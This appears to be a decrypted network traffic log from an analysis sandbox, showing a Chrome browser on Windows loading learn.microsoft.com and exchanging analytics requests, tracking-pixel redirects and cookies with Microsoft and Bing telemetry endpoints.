2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-02 10:22:42 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.11.20	49941	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:43 UTC	686	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://learn.microsoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:43 UTC	608	IN	HTTP/1.1 200 OK Cache-Control: public, 3600 Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://learn.microsoft.com Date: Mon, 02 Dec 2024 10:22:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.11.20	49954	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:44 UTC	976	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Content-Length: 2042 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" upload-time: 1733134961023 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-4.3.3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 time-delta-to-apply-millis: use-collector-delta content-type: application/x-json-stream cache-control: no-cache, no-store apikey: c6c27850c9c24cbfae921778d2465031-4c28c161-db47-426b-9d28-733d45d05dd9-7278 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://learn.microsoft.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR
2024-12-02 10:22:44 UTC	2042	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 32 54 31 30 3a 32 32 3a 34 30 2e 30 31 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 63 36 63 32 37 38 35 30 63 39 63 32 34 63 62 66 61 65 39 32 31 37 37 38 64 32 34 36 35 30 33 31 22 2c 22 65 78 74 22 3a 7b 22 77 65 62 22 3a 7b 22 69 73 4d 61 6e 75 61 6c 22 3a 66 61 6c 73 65 2c 22 64 6f 6d 61 69 6e 22 3a 22 6c 65 61 72 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 73 63 72 65 65 6e 52 65 73 22 3a 22 31 39 32 30 58 31 30 38 30 22 2c 22 75 73 65 72 43 6f 6e 73 65 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 6e 73 65 6e 74 44 65 74 61 69 6c 73 22 3a 22 7b 5c 22 52 65 71 75 69 72 65 64 5c 22 3a 74 Data Ascii: {"name":"Ms.Web.PageView","time":"2024-12-02T10:22:40.011Z","ver":"4.0","iKey":"o:c6c27850c9c24cbfae921778d2465031","ext":{"web":{"isManual":false,"domain":"learn.microsoft.com","screenRes":"1920X1080","userConsent":false,"consentDetails":"{\"Required\":t
2024-12-02 10:22:44 UTC	924	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; Domain=.microsoft.com; Expires=Tue, 02 Dec 2025 10:22:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a851bde55c6f4fd19e184442cb1b9282; Domain=.microsoft.com; Expires=Mon, 02 Dec 2024 10:52:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3635 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://learn.microsoft.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 02 Dec 2024 10:22:44 GMT Connection: close
2024-12-02 10:22:44 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 62 65 38 31 35 35 33 34 38 65 32 31 34 32 62 65 39 63 62 37 61 34 38 30 64 30 65 39 37 35 66 35 26 48 41 53 48 3d 62 65 38 31 26 4c 56 3d 32 30 32 34 31 32 26 56 3d 34 26 4c 55 3d 31 37 33 33 31 33 34 39 36 34 36 35 38 22 2c 22 6d 63 31 22 3a 22 62 65 38 31 35 35 33 34 38 65 32 31 34 32 62 65 39 63 62 37 61 34 38 30 64 30 65 39 37 35 66 35 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658","mc1":"be8155348e2142be9cb7a480d0e975f5"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.11.20	49967	20.125.62.241	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:45 UTC	624	OUT	GET /c.gif?DI=4050&did=1&t= HTTP/1.1 Host: c1.microsoft.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR
2024-12-02 10:22:45 UTC	685	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&RedC=c1.microsoft.com&MXFR=198A1722808E649629FA026B848E627A Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c1.microsoft.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=198A1722808E649629FA026B848E627A; domain=.microsoft.com; expires=Sat, 27-Dec-2025 10:22:45 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 02 Dec 2024 10:22:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.11.20	49968	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:45 UTC	1083	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Content-Length: 8765 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" upload-time: 1733134963819 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-4.3.3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 time-delta-to-apply-millis: 3635 content-type: application/x-json-stream cache-control: no-cache, no-store apikey: c6c27850c9c24cbfae921778d2465031-4c28c161-db47-426b-9d28-733d45d05dd9-7278 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://learn.microsoft.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282
2024-12-02 10:22:45 UTC	8765	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 55 70 64 61 74 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 32 54 31 30 3a 32 32 3a 34 33 2e 35 39 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 63 36 63 32 37 38 35 30 63 39 63 32 34 63 62 66 61 65 39 32 31 37 37 38 64 32 34 36 35 30 33 31 22 2c 22 65 78 74 22 3a 7b 22 77 65 62 22 3a 7b 22 69 73 4d 61 6e 75 61 6c 22 3a 66 61 6c 73 65 2c 22 64 6f 6d 61 69 6e 22 3a 22 6c 65 61 72 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 73 63 72 65 65 6e 52 65 73 22 3a 22 31 39 32 30 58 31 30 38 30 22 2c 22 75 73 65 72 43 6f 6e 73 65 6e 74 22 3a 66 61 6c 73 65 2c 22 63 6f 6e 73 65 6e 74 44 65 74 61 69 6c 73 22 3a 22 7b 5c 22 52 65 71 75 69 72 65 Data Ascii: {"name":"Ms.Web.ContentUpdate","time":"2024-12-02T10:22:43.591Z","ver":"4.0","iKey":"o:c6c27850c9c24cbfae921778d2465031","ext":{"web":{"isManual":false,"domain":"learn.microsoft.com","screenRes":"1920X1080","userConsent":false,"consentDetails":"{\"Require
2024-12-02 10:22:46 UTC	462	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 2705 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://learn.microsoft.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 02 Dec 2024 10:22:46 GMT Connection: close
2024-12-02 10:22:46 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 34 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 62 65 38 31 35 35 33 34 38 65 32 31 34 32 62 65 39 63 62 37 61 34 38 30 64 30 65 39 37 35 66 35 26 48 41 53 48 3d 62 65 38 31 26 4c 56 3d 32 30 32 34 31 32 26 56 3d 34 26 4c 55 3d 31 37 33 33 31 33 34 39 36 34 36 35 38 22 2c 22 6d 63 31 22 3a 22 62 65 38 31 35 35 33 34 38 65 32 31 34 32 62 65 39 63 62 37 61 34 38 30 64 30 65 39 37 35 66 35 22 7d 7d Data Ascii: {"acc":4,"webResult":{"msfpc":"GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658","mc1":"be8155348e2142be9cb7a480d0e975f5"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.11.20	49969	20.42.65.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:45 UTC	572	OUT	GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282
2024-12-02 10:22:46 UTC	255	IN	HTTP/1.1 405 Method Not Allowed Allow: OPTIONS,POST Content-Length: 72 Content-Type: application/json; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 Date: Mon, 02 Dec 2024 10:22:45 GMT Connection: close
2024-12-02 10:22:46 UTC	72	IN	Data Raw: 7b 22 4d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 68 74 74 70 20 6d 65 74 68 6f 64 20 27 47 45 54 27 2e 22 7d Data Ascii: {"Message":"The requested resource does not support http method 'GET'."}

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.11.20	49971	204.79.197.237	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:46 UTC	713	OUT	GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&RedC=c1.microsoft.com&MXFR=198A1722808E649629FA026B848E627A HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:47 UTC	1262	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c1.microsoft.com/c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&MUID=198A1722808E649629FA026B848E627A P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=198A1722808E649629FA026B848E627A; domain=.bing.com; expires=Sat, 27-Dec-2025 10:22:46 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Mon, 09-Dec-2024 10:22:46 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=198A1722808E649629FA026B848E627A; domain=c.bing.com; expires=Sat, 27-Dec-2025 10:22:46 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_I=198A1722808E649629FA026B848E627A; domain=c.bing.com; expires=Sat, 27-Dec-2025 10:22:46 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5E929697B14C4CFFB5EFFAE54DF03696 Ref B: LAXEDGE1905 Ref C: 2024-12-02T10:22:46Z Date: Mon, 02 Dec 2024 10:22:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.11.20	49972	20.42.65.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:47 UTC	611	OUT	GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; MUID=198A1722808E649629FA026B848E627A
2024-12-02 10:22:47 UTC	255	IN	HTTP/1.1 405 Method Not Allowed Allow: OPTIONS,POST Content-Length: 72 Content-Type: application/json; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 Date: Mon, 02 Dec 2024 10:22:47 GMT Connection: close
2024-12-02 10:22:47 UTC	72	IN	Data Raw: 7b 22 4d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 68 74 74 70 20 6d 65 74 68 6f 64 20 27 47 45 54 27 2e 22 7d Data Ascii: {"Message":"The requested resource does not support http method 'GET'."}

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.11.20	49973	20.125.62.241	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:47 UTC	881	OUT	GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&MUID=198A1722808E649629FA026B848E627A HTTP/1.1 Host: c1.microsoft.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; SM=T; MUID=198A1722808E649629FA026B848E627A
2024-12-02 10:22:48 UTC	1017	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c1.microsoft.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=198A1722808E649629FA026B848E627A; domain=.microsoft.com; expires=Sat, 27-Dec-2025 10:22:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_I=198A1722808E649629FA026B848E627A; domain=c1.microsoft.com; expires=Sat, 27-Dec-2025 10:22:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c1.microsoft.com; expires=Mon, 09-Dec-2024 10:22:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c1.microsoft.com; expires=Mon, 02-Dec-2024 10:32:47 GMT; path=/; SameSite=None; Secure; Date: Mon, 02 Dec 2024 10:22:47 GMT Connection: close Content-Length: 42
2024-12-02 10:22:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.11.20	49976	20.125.62.241	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:48 UTC	698	OUT	GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=7F5844E9F4284ED49EA9009873A2C8F3&MUID=198A1722808E649629FA026B848E627A HTTP/1.1 Host: c1.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR; MC1=GUID=be8155348e2142be9cb7a480d0e975f5&HASH=be81&LV=202412&V=4&LU=1733134964658; MS0=a851bde55c6f4fd19e184442cb1b9282; MUID=198A1722808E649629FA026B848E627A; SM=C; SRM_I=198A1722808E649629FA026B848E627A; MR=0; ANONCHK=0
2024-12-02 10:22:49 UTC	520	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: ANONCHK=0; domain=c1.microsoft.com; expires=Mon, 02-Dec-2024 10:32:49 GMT; path=/; SameSite=None; Secure; Date: Mon, 02 Dec 2024 10:22:48 GMT Connection: close Content-Length: 42
2024-12-02 10:22:49 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.20	49977	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:49 UTC	800	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3Dbe8155348e2142be9cb7a480d0e975f5%26HASH%3Dbe81%26LV%3D202412%26V%3D4%26LU%3D1733134964658&w=0 HTTP/1.1 Host: browser.events.data.microsoft.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://learn.microsoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-02 10:22:50 UTC	608	IN	HTTP/1.1 200 OK Cache-Control: public, 3600 Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://learn.microsoft.com Date: Mon, 02 Dec 2024 10:22:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.20	49979	52.182.143.214	443

Timestamp	Bytes transferred	Direction	Data
